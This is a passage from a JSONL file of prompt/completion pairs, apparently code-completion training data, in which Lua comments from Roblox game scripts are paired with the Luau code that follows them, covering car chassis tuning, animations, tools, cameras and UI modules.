variables", "completion": "\nlocal Seat = script.Parent\nlocal Thrust = Seat.Parent:WaitForChild(\"Thrust\")\nlocal MainPart = Seat.Parent:WaitForChild(\"Main\")\nlocal Force = Thrust:WaitForChild(\"Force\")\nlocal Tilt = Thrust:WaitForChild(\"Tilt\")\n"} +{"prompt": "--[[\n\n\tDEVELOPMENT HAS BEEN MOVED FROM DAVEY_BONES/SCELERATIS TO THE EPIX INCORPORATED GROUP\n\n\tCURRENT LOADER:\n\thttps://www.roblox.com/library/7510622625/Adonis-Loader-Sceleratis-Davey-Bones-Epix\n\n\tCURRENT MODULE:\n\thttps://www.roblox.com/library/7510592873/Adonis-MainModule\n\n--]]", "completion": "\n\n\n\n"} +{"prompt": "-- HELPER FUNCTIONS\n----------------------------------------\n-- Set the \"MotorMaxTorque\" property on all of the CylindricalConstraint motors", "completion": "\nlocal function setMotorTorque(torque)\n\tmotorFR.MotorMaxTorque = torque\n\tmotorFL.MotorMaxTorque = torque\n\tmotorBR.MotorMaxTorque = torque\n\tmotorBL.MotorMaxTorque = torque\nend\n"} +{"prompt": "--- Recalculate the window height", "completion": "\nfunction Window:UpdateWindowHeight()\n\tlocal windowHeight = LINE_HEIGHT\n\n\tfor _, child in pairs(Gui:GetChildren()) do\n\t\tif child:IsA(\"GuiObject\") then\n\t\t\twindowHeight = windowHeight + child.Size.Y.Offset\n\t\tend\n\tend\n\n\tGui.CanvasSize = UDim2.new(Gui.CanvasSize.X.Scale, Gui.CanvasSize.X.Offset, 0, windowHeight)\n\tGui.Size =\n\t\tUDim2.new(\n\t\tGui.Size.X.Scale,\n\t\tGui.Size.X.Offset,\n\t\t0,\n\t\twindowHeight > WINDOW_MAX_HEIGHT and WINDOW_MAX_HEIGHT or windowHeight\n\t)\n\n\tGui.CanvasPosition = Vector2.new(0, math.clamp(windowHeight - 300, 0, math.huge))\nend\n"} +{"prompt": "--stuff", "completion": "\nlocal tool = script.Parent\nlocal remote = tool:WaitForChild(\"gunremote\")\nlocal gunmodel = tool.GunModel\nlocal handle = gunmodel:FindFirstChild(\"Handle\")\nlocal mainpart = gunmodel:FindFirstChild(\"mainpart\")\nlocal owner = players.LocalPlayer\nlocal ownergui = owner:FindFirstChildOfClass(\"PlayerGui\")\nlocal cam = workspace.CurrentCamera\nlocal mouse = owner:GetMouse()\nlocal character\nlocal humanoid\nlocal head\nlocal hrp\nlocal larmcweld\nlocal rarmcweld\nlocal guncweld\nlocal guncmodel\nlocal maincpart\nlocal boltcweld\nlocal boltcmainpart\nlocal gunclufa\nlocal magcmodel\nlocal reloadmagcmodel\nlocal reloadmagcpart\nlocal reloadmagcweld\nlocal viewmodel\n"} +{"prompt": "--\tif (runAnimKeyframeHandler ~= nil) then\n--\t\trunAnimKeyframeHandler:disconnect()\n--\tend\n--\t\n--\tif (runAnimTrack ~= nil) then\n--\t\trunAnimTrack:Stop()\n--\t\trunAnimTrack:Destroy()\n--\t\trunAnimTrack = nil\n--\tend", "completion": "\n\t\n\treturn oldAnim\nend\n\nfunction getHeightScale()\n\tif Humanoid then\n\t\tif not Humanoid.AutomaticScalingEnabled then\n\t\t\treturn 1\n\t\tend\n\t\t\n\t\tlocal scale = Humanoid.HipHeight / HumanoidHipHeight\n\t\tif AnimationSpeedDampeningObject == nil then\n\t\t\tAnimationSpeedDampeningObject = script:FindFirstChild(\"ScaleDampeningPercent\")\n\t\tend\n\t\tif AnimationSpeedDampeningObject ~= nil then\n\t\t\tscale = 1 + (Humanoid.HipHeight - HumanoidHipHeight) * AnimationSpeedDampeningObject.Value / HumanoidHipHeight\n\t\tend\n\t\treturn scale\n\tend\t\n\treturn 1\nend\n\nlocal smallButNotZero = 0.0001\n\nfunction calculateRunSpeed(speed)\n\tlocal speedScaled = speed * 1.25\n\tlocal heightScale = getHeightScale()\n\tlocal runSpeed = speedScaled / heightScale\n\n\treturn runSpeed\t\nend\n\nfunction setRunSpeed(speed)\n\tlocal runSpeed = calculateRunSpeed(speed) \n\n\tif runSpeed ~= currentAnimSpeed then\n\t\t-- HACK: TEMP: Suppressing blending of run animation\n\t\t"} +{"prompt": "-- [ Rest ] --", "completion": "\nlocal EditBox = script.Parent.Frame.Frame.EditBox\nlocal SubmitButton = script.Parent.Frame.Frame.SubmitButton\nlocal CancelButton = script.Parent.Frame.Frame.CancelButton\n\nlocal UnclaimButton = script.Parent.Frame.Frame.Unclaim\nlocal RefreshButton = script.Parent.Frame.Frame.Refresh\n\nlocal Sound = script.Parent.Sound\nlocal CancelSound = script.Parent.Cancel\nlocal PopSound = script.Parent.Pop\n\nlocal player = game.Players.LocalPlayer\n\nlocal Event = game.ReplicatedStorage.Events.UpdateSign\nlocal Notification = game.ReplicatedStorage.Events.Notification\n"} +{"prompt": "--F.updateSound = function(Sound, Pitch, Volume)\n--\tif Sound then\n--\t\tif Pitch then\n--\t\t\tSound.Pitch = Pitch\n--\t\tend\n--\t\tif Volume then\n--\t\t\tSound.Volume = Volume\n--\t\tend\n--\tend\n--end", "completion": "\n\nF.lock = function(x)\n\tif x then\n\t\tfor i,v in pairs(script.Parent.Parent.Misc:GetDescendants()) do\n\t\t\tif v:IsA(\"Motor\") then\n\t\t\t\tif v.Parent.Parent.Name == \"Mirror\" then\n\t\t\t\telse v.DesiredAngle = 0\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tcarSeat.Lock:Play()\n\telse\n\t\tcarSeat.Unlock:Play()\n\t\twait(.4)\n\t\tcarSeat.Unlock:Play()\n\tend\n\tfor i,v in pairs(script.Parent.Parent.Misc:GetDescendants()) do\n\t\tif v:IsA(\"ClickDetector\") then\n\t\t\tv.MaxActivationDistance = x and 0 or 12\n\t\tend\n\tend\nend\n\nlocal on = 0\n\nF.rs = function(y)\n\tlocal tune = require(carSeat.Parent:FindFirstChild(\"A-Chassis Tune\"))\n\tcarSeat.IsOn.Value = y\n\tif y then\n\t\tcarSeat.Startup:Play()\n\t\tif not car.DriveSeat.IsOn.Value then on=math.max(on-.015,0) else on=1 end\n\t\tcar.DriveSeat.Rev.Pitch = (car.DriveSeat.Rev.SetPitch.Value + car.DriveSeat.Rev.SetRev.Value*tune.IdleRPM/tune.Redline)*on^2\n\telse car.DriveSeat.Rev.Pitch = 0\n\t\tcarSeat.Startup:Stop()\n\tend\nend\n\nF.user = function()\n\tcarSeat.L.Value = not carSeat.L.Value\nend\n\nF.tk = function(b)\n\tcarSeat.Parent.Misc.TK.SS.Motor.DesiredAngle = b and 1.5 or 0\nend\n\nscript.Parent.OnServerEvent:connect(function(Player, Func, ...)\n\tif F[Func] then\n\t\tF[Func](...)\n\tend\nend)\n"} +{"prompt": "-- A state object whose value is derived from other objects using a callback.", "completion": "\nexport type ForPairs = PubTypes.ForPairs & {\n\t_oldDependencySet: Set,\n\t_processor: (KI, VI) -> (KO, VO),\n\t_destructor: (VO, M?) -> (),\n\t_inputIsState: boolean,\n\t_inputTable: PubTypes.CanBeState<{ [KI]: VI }>,\n\t_oldInputTable: { [KI]: VI },\n\t_outputTable: { [KO]: VO },\n\t_oldOutputTable: { [KO]: VO },\n\t_keyIOMap: { [KI]: KO },\n\t_meta: { [KO]: M? },\n\t_keyData: {\n\t\t[KI]: {\n\t\t\tdependencySet: Set,\n\t\t\toldDependencySet: Set,\n\t\t\tdependencyValues: { [PubTypes.Dependency]: any },\n\t\t},\n\t},\n}\n"} +{"prompt": "--- Validates that all of the arguments are in a valid state.\n-- This must be called before :Run() is called.\n-- Returns boolean (true if ok), errorText", "completion": "\nfunction Command:Validate (isFinal)\n\tself._Validated = true\n\tlocal errorText = \"\"\n\tlocal success = true\n\n\tfor i, arg in pairs(self.Arguments) do\n\t\tlocal argSuccess, argErrorText = arg:Validate(isFinal)\n\n\t\tif not argSuccess then\n\t\t\tsuccess = false\n\t\t\terrorText = (\"%s; #%d %s: %s\"):format(errorText, i, arg.Name, argErrorText or \"error\")\n\t\tend\n\tend\n\n\treturn success, errorText:sub(3)\nend\n"} +{"prompt": "-------------------------------", "completion": "\n\nlocal tool = script.Parent\nlocal player = game.Players.LocalPlayer\nwhile player.Character == nil do wait() end\nlocal char = player.Character\nwhile char:FindFirstChild(\"Humanoid\") == nil do wait() end\nlocal hum = char:FindFirstChild(\"Humanoid\")\nwhile char:FindFirstChild(\"Head\") == nil do wait() end\nlocal head = char:FindFirstChild(\"Head\")\nlocal tauntanim = hum:LoadAnimation(script.hold)\n\n\nlocal w = nil\nfunction Click()\n\tlocal player = game.Players.LocalPlayer\n\tlocal char = player.Character\n\t\n\t\thummer = char.Humanoid\n\t\t\t\n\t\tif char ~= nil then\n\t\t\tlocal torso = char:FindFirstChild(\"Torso\")\n\t\t\tlocal arm = char:FindFirstChild(\"Right Arm\")\n\t\t\tif torso ~= nil and arm ~= nil then\n\t\t\t\tlocal shoulder = torso:FindFirstChild(\"Right Shoulder\")\n\t\t\t\tif shoulder ~= nil then\n\t\t\t\t\n\t\t\t\t\n\t\t\tend\n\t\tend\n\tend\nend\nfunction Unclick()\n\tif c ~= nil and t ~= nil then\n\t\tif w ~= nil then\n\t\t\tw:Destroy()\n\t\t\ts.Parent = t\n\t\t\ts.C0 = c0\n\t\t\ts.C1 = c1\n\t\tend\n\t\tlocal ani = char:FindFirstChild(\"Animate\")\n\t\tif ani ~= nil then\n\t\t\tlocal d = ani:clone()\n\t\t\tani.Parent = nil\n\t\t\twait()\n\t\t\tani = d\n\t\t\tani.Parent = c\n\t\tend\n\tend\nend\n\nlocal enabled = true\nlocal charged = false\nlocal poopdb = false\nlocal equipped = false\n\nlocal slowdown1 = nil\ntool.Equipped:connect(function(mouse)\n\tequipped = true\n\tmouse.Icon = \"rbxasset://textures\\\\GunCursor.png\"\n\tmouse.Button1Down:connect(function()\n\t\tif hum == nil then return end\n\t\tif hum.Health <= 0 then return end\n\t\tif mouse == nil then return end\n\t\tif enabled then\n\t\t\tif not charged then\n\t\t\t\tenabled = false\n\t\t\t\tClick()\n\t\t\t\tif hum:FindFirstChild(\"Effects\") then\n\t\t\t\t\tslowdown1 = Instance.new(\"IntValue\")\n\t\t\t\t\tslowdown1.Name = \"Speed\"\n\t\t\t\t\tslowdown1.Value = -6\n\t\t\t\t\tslowdown1.Parent = hum:FindFirstChild(\"Effects\")\n\t\t\t\tend\n\t\t\t\t\ttauntanim:Play()\n\t\t\t\tlocal charge_sound = Instance.new(\"Sound\")\n\t\t\t\tcharge_sound.Name = \"ChargeSound\"\n\t\t\t\tcharge_sound.SoundId = \"rbxassetid://\"\n\t\t\t\tcharge_sound.Pitch = math.random(2, 5)/10\n\t\t\t\tcharge_sound.Looped = false\n\t\t\t\tcharge_sound.Parent = head\n\t\t\t\tcharge_sound:Play()\n\t\t\t\tlocal nose_decal = Instance.new(\"Decal\")\n\t\t\t\t\n\t\t\t\tnose_decal.Name = \"Nose\"\n\t\t\t\tnose_decal.Parent = head\n\t\t\t\tfor i = 1, 1 do\n\t\t\t\t\tif equipped then\n\t\t\t\t\t\twait(5)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tif charge_sound ~= nil then\n\t\t\t\t\tcharge_sound.Volume = 0\n\t\t\t\t\tcharge_sound:Stop()\n\t\t\t\t\tcharge_sound:Destroy()\n\t\t\t\tend\n\t\t\t\tif equipped then\n\t\t\t\t\tUnclick()\n\t\t\t\t\ttool.Handle.Transparency = 0\n\t\t\t\t\tcharged = true\n\t\t\t\tend\n\t\t\t\tif nose_decal ~= nil then\n\t\t\t\t\tnose_decal:Destroy()\n\t\t\t\tend\n\t\t\t\tif slowdown1 ~= nil then\n\t\t\t\t\tslowdown1:Destroy()\n\t\t\t\tend\n\t\t\t\tenabled = true\n\t\t\telseif mouse.Hit ~= nil then\n\t\t\t\tenabled = false\n\t\t\t\tcharged = false\n\t\t\t\ttool.Handle.Transparency = 0\n\t\t\t\tscript.Parent.ShootProjectile:FireServer(mouse.Hit.p)\n\t\t\t\tmouse.Icon = \"rbxasset://textures\\\\GunWaitCursor.png\"\n\t\t\t\twait(0.4)\n\t\t\t\ttool.Handle.Transparency = 0\n\t\t\t\twait(RELOAD_TIME)\n\t\t\t\tmouse.Icon = \"rbxasset://textures\\\\GunCursor.png\"\n\t\t\t\tenabled = true\n\t\t\tend\n\t\tend\n\tend)\nend)\n\t\n\ntool.Unequipped:connect(function()\n\tequipped = false\n\t\ttauntanim:Stop()\n\tcharged = false\n\ttool.Handle.Transparency = 0\n\tUnclick()\nend)\n\n\n"} +{"prompt": "-- Gradually regenerates the Humanoid's Health over time.", "completion": "\n\nlocal REGEN_RATE = 1/100 -- Regenerate this fraction of MaxHealth per second.\nlocal REGEN_STEP = 1 -- Wait this long between each regeneration step.\n"} +{"prompt": "--[[\n\tA symbol for representing nil values in contexts where nil is not usable.\n]]", "completion": "\n\nreturn {\n\ttype = \"Symbol\",\n\tname = \"None\"\n}\n"} +{"prompt": "-- (Hat Giver Script - Loaded.)", "completion": "\n\ndebounce = true\n\nfunction onTouched(hit)\n\tif (hit.Parent:findFirstChild(\"Humanoid\") ~= nil and debounce == true) then\n\t\tdebounce = false\n\t\th = Instance.new(\"Hat\")\n\t\tp = Instance.new(\"Part\")\n\t\th.Name = \"Handle\"\n\t\tp.Parent = h\n\t\tp.Position = hit.Parent:findFirstChild(\"Head\").Position\n\t\tp.Name = \"Handle\" \n\t\tp.formFactor = 0\n\t\tp.Size = Vector3.new(1, 1, 1) \n\t\tp.BottomSurface = 0 \n\t\tp.TopSurface = 0 \n\t\tp.Locked = true \n\t\tscript.Parent.Mesh:clone().Parent = p\n\t\th.Parent = hit.Parent\n\t\th.AttachmentPos = Vector3.new(0, 0.1, 0)\n\t\twait(5)\n\t\tdebounce = true\n\tend\nend\n\nscript.Parent.Touched:connect(onTouched)\n\n"} +{"prompt": "--[[Engine]]", "completion": "\n\t--Torque Curve\n\tTune.Horsepower\t\t= 50\t\t--\t[TORQUE CURVE VISUAL]\n\tTune.IdleRPM\t\t= 700\t\t--\t\thttps://www.desmos.com/calculator/2uo3hqwdhf\n\tTune.PeakRPM\t\t= 6000\t\t--\t\tUse sliders to manipulate values\n\tTune.Redline\t\t= 6700\t\t--\t\tCopy and paste slider values into the respective tune values\n\tTune.EqPoint\t\t= 5500\n\tTune.PeakSharpness\t= 7.5\n\tTune.CurveMult\t\t= 0.16\n\t\n\t--Incline Compensation\n\tTune.InclineComp\t= 4.7\t\t\t-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)\n\t\n\t--Misc\n\tTune.RevAccel\t\t= 150\t\t-- RPM acceleration when clutch is off\n\tTune.RevDecay\t\t= 75\t\t-- RPM decay when clutch is off\n\tTune.RevBounce\t\t= 500\t\t-- RPM kickback from redline\n\tTune.IdleThrottle\t= 3\t\t\t-- Percent throttle at idle\n\tTune.ClutchTol\t\t= 500\t\t-- Clutch engagement threshold (higher = faster response)\n\t"} +{"prompt": "-- Dont touch anything unless you know what you're doing", "completion": "\n\nlocal RunService = game:GetService(\"RunService\")\nlocal Players = game:GetService(\"Players\")\n\nlocal Player = Players.LocalPlayer\nlocal Character = script.Parent\nlocal Humanoid = Character:WaitForChild(\"Humanoid\")\n\nlocal HumanoidRootPart = Character.HumanoidRootPart\nlocal Torso = Character.Torso\n\nlocal RootJoint = HumanoidRootPart.RootJoint\nlocal LeftHipJoint = Torso[\"Left Hip\"]\nlocal RightHipJoint = Torso[\"Right Hip\"]\n\nlocal function Lerp(a, b, c)\n\treturn a + (b - a) * c\nend\n\nlocal Force = nil\nlocal Direction = nil\nlocal Value1 = 0\nlocal Value2 = 0\n\nlocal RootJointC0 = RootJoint.C0\nlocal LeftHipJointC0 = LeftHipJoint.C0\nlocal RightHipJointC0 = RightHipJoint.C0\n\nRunService.RenderStepped:Connect(function()\n\t--> To get the force, we multiply the velocity by 1,0,1, we don't want the Y value so we set y to 0\n\tForce = HumanoidRootPart.Velocity * Vector3.new(1,0,1)\n\tif Force.Magnitude > 0.001 then\n\t\t--> This represents the direction\n\t\tDirection = Force.Unit\n\t\tValue1 = HumanoidRootPart.CFrame.RightVector:Dot(Direction)\n\t\tValue2 = HumanoidRootPart.CFrame.LookVector:Dot(Direction)\n\telse\n\t\tValue1 = 0\n\t\tValue2 = 0\n\tend\n\n\t--> the values being multiplied are how much you want to rotate by\n\n\tRootJoint.C0 = RootJoint.C0:Lerp(RootJointC0 * CFrame.Angles(math.rad(Value2 * TorsoZRotation), math.rad(-Value1 * TorsoXRotation), 0), 0.2)\n\tLeftHipJoint.C0 = LeftHipJoint.C0:Lerp(LeftHipJointC0 * CFrame.Angles(math.rad(Value1 * LegRotation), 0, 0), 0.2)\n\tRightHipJoint.C0 = RightHipJoint.C0:Lerp(RightHipJointC0 * CFrame.Angles(math.rad(-Value1 * LegRotation), 0, 0), 0.2)\nend)\n"} +{"prompt": "--//Player//--", "completion": "\nlocal Player = game.Players.LocalPlayer\n\nlocal Character = Player.Character or Player.CharacterAdded:Wait()\nlocal Humanoid = Character:WaitForChild(\"Humanoid\")\n"} +{"prompt": "--doEvent()", "completion": "\nprint(lowered)\nreturn\nend\n\nfunction doEvent()\n\tif lowered == true then\n\treturn --negative event\n\telse return --positive event\n\tend\nend\n\nfunction onClicked()\nprint(\"clicked\") \n\tif debounce == false then \n\n\tdelay(5, function() debounce = false end) \n\t\tif lowered == false then \n\t\tlower() \n\t\telse if lowered == true then raise() end\n\t\tend \n\telse return\n\tend \nend\n\nscript.Parent.Bar.ClickDetector.MouseClick:connect(onClicked) \nlower()\n"} +{"prompt": "--[[Transmission]]", "completion": "\n\tTune.Clutch\t\t\t= true\t\t-- Implements a realistic clutch, change to \"false\" for the chassis to act like AC6.81T.\n\n\tTune.TransModes\t\t= {\"Auto\",\"Semi\",\"Manual\"}\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Auto\"\t\t: Automatic shifting\n\t\t\"Semi\"\t\t: Clutchless manual shifting, dual clutch transmission\n\t\t\"Manual\"\t: Manual shifting with clutch\n\t\t\n\t\t>Include within brackets\n\t\t\teg: {\"Semi\"} or {\"Auto\", \"Manual\"}\t\t\t\t\t\t\t\t\n\t>First mode is default mode\t\t\t\t\t\t\t\t\t\t\t\t\t]]\n\t\n\tTune.ClutchMode\t\t= \"New\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"New\"\t\t: Speed controls clutch engagement\t\t\t(AC6C V1.2)\n\t\t\"Old\"\t\t: Speed and RPM control clutch engagement\t(AC6C V1.1)\t\t]]\n\t\n\tTune.ClutchType \t= \"Clutch\"\t\t\t\t\t\t\t\t\t\t--[[\n\t[Types]\n\t\t\"Clutch\"\t\t\t: Standard clutch, recommended\n\t\t\"TorqueConverter\"\t: Torque converter, keeps RPM up\n\t\t\"CVT\"\t\t\t\t: CVT, found in scooters\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t]] \n\t--[[Transmission]]\n\t--Transmission Settings\n\tTune.Stall\t\t\t= true\t\t-- Stalling, enables the car to stall. An ignition plugin would be necessary. Disables if Tune.Clutch is false.\n\tTune.ClutchRel\t\t= false\t\t-- If true, the driver must let off the gas before shifting to a higher gear. Recommended false for beginners.\n\tTune.ClutchEngage\t= 85\t\t-- How fast engagement is (0 = instant, 99 = super slow)\t\n\tTune.SpeedEngage \t= 18\t\t-- Speed the clutch fully engages at (Based on SPS) \n\t\n\t--Clutch: \"Old\" mode\n\tTune.ClutchRPMMult\t= 1.0\t\t-- Clutch RPM multiplier, recommended to leave at 1.0\n\t\n\t--Torque Converter:\n\tTune.TQLock \t\t= false\t\t-- Torque converter starts locking at a certain RPM\n\t\n\t--Torque Converter and CVT:\n\tTune.RPMEngage \t\t= 3500\t\t-- Keeps RPMs to this level until passed\n\t\n\t--Automatic Settings\n\tTune.AutoShiftMode\t= \"RPM\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Speed\"\t\t: Shifts based on wheel speed\n\t\t\"RPM\"\t\t: Shifts based on RPM\t\t\t\t\t\t\t\t\t\t]]\t\n\tTune.AutoShiftType\t= \"DCT\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Types]\n\t\t\"Rev\"\t\t: Clutch engages fully once RPM reached\t\t\t(AC6C V1)\n\t\t\"DCT\"\t\t: Clutch engages after a set time has passed\t(AC6.81T)\t]]\n\tTune.AutoShiftVers\t= \"Old\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Versions]\n\t\t\"New\"\t\t: Shift from Reverse, Neutral, and Drive\t\t(AC6.81T)\n\t\t\"Old\"\t\t: Auto shifts into R or D when stopped.\t\t\t(AC6.52S2)\t]]\n\tTune.AutoUpThresh\t= -200\t\t-- Automatic upshift point \t(relative to peak RPM, positive = Over-rev)\n\tTune.AutoDownThresh = 1400\t\t-- Automatic downshift point (relative to peak RPM, positive = Under-rev)\n\t\n\t--Automatic: Revmatching\n\tTune.ShiftThrot\t\t= 100\t\t-- Throttle level when shifting down to revmatch, 0 - 100%\n\t\n\t--Automatic: DCT\n\tTune.ShiftUpTime\t= 0.25\t\t-- Time required to shift into next gear, from a lower gear to a higher one.\n\tTune.ShiftDnTime\t= 0.125\t\t-- Time required to shift into next gear, from a higher gear to a lower one.\n\t\n\t--Gear Ratios\n\t\n\tTune.FinalDrive\t\t= 4\n\tTune.Ratios\t\t\t= {\n\t\t--[[Reverse]]\t5\t\t\t,\n\t\t--[[Neutral]]\t0\t\t\t,\n\t\t--[[ 1 ]]\t\t3.9\t\t\t,\n\t\t--[[ 2 ]]\t\t2.52\t\t,\n\t\t--[[ 3 ]]\t\t1.85\t\t,\n\t\t--[[ 4 ]]\t\t1.38\t\t,\n\t\t--[[ 5 ]]\t\t1.05\t\t,\n\t\t--[[ 6 ]]\t\t.87\t\t\t,\n }\n\tTune.FDMult\t\t\t= 1\t\t\t-- Ratio multiplier (keep this at 1 if car is not struggling with torque)\n\t"} +{"prompt": "-- This loads from, or lazily creates, NumberValue objects for exposed parameters", "completion": "\nfunction OrbitalCamera:LoadNumberValueParameters()\n\t-- These initial values do not require change listeners since they are read only once\n\tself:LoadOrCreateNumberValueParameter(\"InitialElevation\", \"NumberValue\", nil)\n\tself:LoadOrCreateNumberValueParameter(\"InitialDistance\", \"NumberValue\", nil)\n\n\t-- Note: ReferenceAzimuth is also used as an initial value, but needs a change listener because it is used in the calculation of the limits\n\tself:LoadOrCreateNumberValueParameter(\"ReferenceAzimuth\", \"NumberValue\", self.SetAndBoundsCheckAzimuthValue)\n\tself:LoadOrCreateNumberValueParameter(\"CWAzimuthTravel\", \"NumberValue\", self.SetAndBoundsCheckAzimuthValues)\n\tself:LoadOrCreateNumberValueParameter(\"CCWAzimuthTravel\", \"NumberValue\", self.SetAndBoundsCheckAzimuthValues)\n\tself:LoadOrCreateNumberValueParameter(\"MinElevation\", \"NumberValue\", self.SetAndBoundsCheckElevationValues)\n\tself:LoadOrCreateNumberValueParameter(\"MaxElevation\", \"NumberValue\", self.SetAndBoundsCheckElevationValues)\n\tself:LoadOrCreateNumberValueParameter(\"MinDistance\", \"NumberValue\", self.SetAndBoundsCheckDistanceValues)\n\tself:LoadOrCreateNumberValueParameter(\"MaxDistance\", \"NumberValue\", self.SetAndBoundsCheckDistanceValues)\n\tself:LoadOrCreateNumberValueParameter(\"UseAzimuthLimits\", \"BoolValue\", self.SetAndBoundsCheckAzimuthValues)\n\n\t-- Internal values set (in radians, from degrees), plus sanitization\n\tself.curAzimuthRad = math.rad(self.externalProperties[\"ReferenceAzimuth\"])\n\tself.curElevationRad = math.rad(self.externalProperties[\"InitialElevation\"])\n\tself.curDistance = self.externalProperties[\"InitialDistance\"]\n\n\tself:SetAndBoundsCheckAzimuthValues()\n\tself:SetAndBoundsCheckElevationValues()\n\tself:SetAndBoundsCheckDistanceValues()\nend\n\nfunction OrbitalCamera:GetModuleName()\n\treturn \"OrbitalCamera\"\nend\n\nfunction OrbitalCamera:SetInitialOrientation(humanoid)\n\tif not humanoid or not humanoid.RootPart then\n\t\twarn(\"OrbitalCamera could not set initial orientation due to missing humanoid\")\n\t\treturn\n\tend\n\tlocal newDesiredLook = (humanoid.RootPart.CFrame.lookVector - Vector3.new(0,0.23,0)).unit\n\tlocal horizontalShift = Util.GetAngleBetweenXZVectors(newDesiredLook, self:GetCameraLookVector())\n\tlocal vertShift = math.asin(self:GetCameraLookVector().y) - math.asin(newDesiredLook.y)\n\tif not Util.IsFinite(horizontalShift) then\n\t\thorizontalShift = 0\n\tend\n\tif not Util.IsFinite(vertShift) then\n\t\tvertShift = 0\n\tend\nend\n"} +{"prompt": "-- Module functions", "completion": "\nfunction InterfaceModule.UpdateElectrons(balance)\n\t-- Change the text, that's really all there is to this\n\tlocal balance = balance or 0\n\tInterface.OpenMeta.Electrons.Text = FormatThousands(balance)\n\t--Interface.OpenMeta.Electrons.Text = ConvertToShortNum(balance)\nend\n\nfunction InterfaceModule.ToggleWindow(state)\n\tif ((not debounce) and (state ~= InterfaceModule.Open)) then\n\t\tdebounce = true\n\t\t\n\t\t-- Tween the interface in or out\n\t\tInterface.MainMeta:TweenPosition(UDim2.new(0.5, 0, (state and 0.5) or 1.5, 0), Enum.EasingDirection.InOut, Enum.EasingStyle.Quart, 1)\n\t\twait(1.1)\n\t\t\n\t\t-- Change the variables\n\t\tInterfaceModule.Open = state\n\t\tdebounce = false\n\tend\nend\n\nfunction InterfaceModule.ToggleSpawnWindow(state)\n\tif ((not spawndebounce)) then\n\t\tspawndebounce = true\n\t\t\n\t\t-- Tween the interface in or out\n\t\tInterface.SpawnMeta:TweenPosition(UDim2.new(0.5, 0, (state and 0.5) or 1.5, 0), Enum.EasingDirection.InOut, Enum.EasingStyle.Quart, 1)\n\t\twait(1.1)\n\t\t\n\t\tspawndebounce = false\n\tend\nend\n\nfunction InterfaceModule.ChangePage(page)\n\tif (Options:FindFirstChild(page)) then\n\t\tif ((not InterfaceModule.Changing) and (InterfaceModule.Page ~= page)) then\n\t\t\tInterfaceModule.Changing = true\n\t\t\t\n\t\t\t-- Set the UIPageLayout current page to the corresponding page for the button\n\t\t\tlocal index = Options:FindFirstChild(page)\n\t\t\t\n\t\t\tlocal previousButton = Options:FindFirstChild(InterfaceModule.Page)\n\t\t\tlocal newButton = Options:FindFirstChild(page)\n\t\n\t\t\t-- Change the colour for the previous button\n\t\t\tpreviousButton.Font = Enum.Font.Gotham\n\t\t\tpreviousButton.TextColor3 = Color3.fromRGB(227, 227, 227)\n\t\n\t\t\t-- Change the colour for the current button\n\t\t\tnewButton.Font = Enum.Font.GothamBlack\n\t\t\tnewButton.TextColor3 = Color3.new(1, 1, 1)\n\t\n\t\t\t-- Change the page\n\t\t\tInterface.MainMeta.Content.Content.UIPageLayout:JumpToIndex(index.LayoutOrder)\n\t\t\t\n\t\t\t-- Wait until the animation is finished\n\t\t\twait(Interface.MainMeta.Content.Content.UIPageLayout.TweenTime + 0.1)\n\t\t\t\n\t\t\t-- Update the page variables\n\t\t\tInterfaceModule.Page = page\n\t\t\tInterfaceModule.Changing = false\n\t\tend\n\tend\nend\n"} +{"prompt": "--- Replace with true/false to force the chat type. Otherwise this will default to the setting on the website.", "completion": "\nmodule.BubbleChatEnabled = true\nmodule.ClassicChatEnabled = false\n"} +{"prompt": "--- Internal function that finds an existing hitbox from a given instance\n-- @param instance object", "completion": "\nfunction Hitbox:_FindHitbox(object: any)\n\tfor _: number, hitbox: any in ipairs(ActiveHitboxes) do\n\t\tif hitbox.HitboxObject == object then\n\t\t\treturn hitbox\n\t\tend\n\tend\nend\n"} +{"prompt": "-- Connect the disableTool function to the Unequipped event of the tool", "completion": "\ntool.Unequipped:Connect(disableTool)\n\ntool.Equipped:Connect(enableTool)\n"} +{"prompt": "-- Lobby barriers are parented after the game starts to make it easier to work in Studio without them.", "completion": "\nlocal ServerStorage = game:GetService(\"ServerStorage\")\nServerStorage.LobbyBarriers.Parent = workspace.LobbyAssets\n"} +{"prompt": "--Automatic Gauge Scaling", "completion": "\nif autoscaling then\n\tlocal Drive={}\n\tif _Tune.Config == \"FWD\" or _Tune.Config == \"AWD\" then\n\t\tif car.Wheels:FindFirstChild(\"FL\")~= nil then\n\t\t\ttable.insert(Drive,car.Wheels.FL)\n\t\tend\n\t\tif car.Wheels:FindFirstChild(\"FR\")~= nil then\n\t\t\ttable.insert(Drive,car.Wheels.FR)\n\t\tend\n\t\tif car.Wheels:FindFirstChild(\"F\")~= nil then\n\t\t\ttable.insert(Drive,car.Wheels.F)\n\t\tend\n\tend\n\tif _Tune.Config == \"RWD\" or _Tune.Config == \"AWD\" then\n\t\tif car.Wheels:FindFirstChild(\"RL\")~= nil then\n\t\t\ttable.insert(Drive,car.Wheels.RL)\n\t\tend\n\t\tif car.Wheels:FindFirstChild(\"RR\")~= nil then\n\t\t\ttable.insert(Drive,car.Wheels.RR)\n\t\tend\n\t\tif car.Wheels:FindFirstChild(\"R\")~= nil then\n\t\t\ttable.insert(Drive,car.Wheels.R)\n\t\tend\n\tend\n\n\tlocal wDia = 0\n\tfor i,v in pairs(Drive) do\n\t\tif v.Size.x>wDia then wDia = v.Size.x end\n\tend\n\tDrive = nil\n\tfor i,v in pairs(UNITS) do\n\t\tv.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive/_Tune.FDMult)\n\t\tv.spInc = math.max(math.ceil(v.maxSpeed/150)*10,10)\n\tend\nend\n\nfor i=0,revEnd*2 do\n\tlocal ln = gauges.ln:clone()\n\tln.Parent = gauges.Tach\n\tln.Rotation = 45 + i * 270 / (revEnd*2)\n\tln.Num.Text = i/2\n\tln.Num.Rotation = 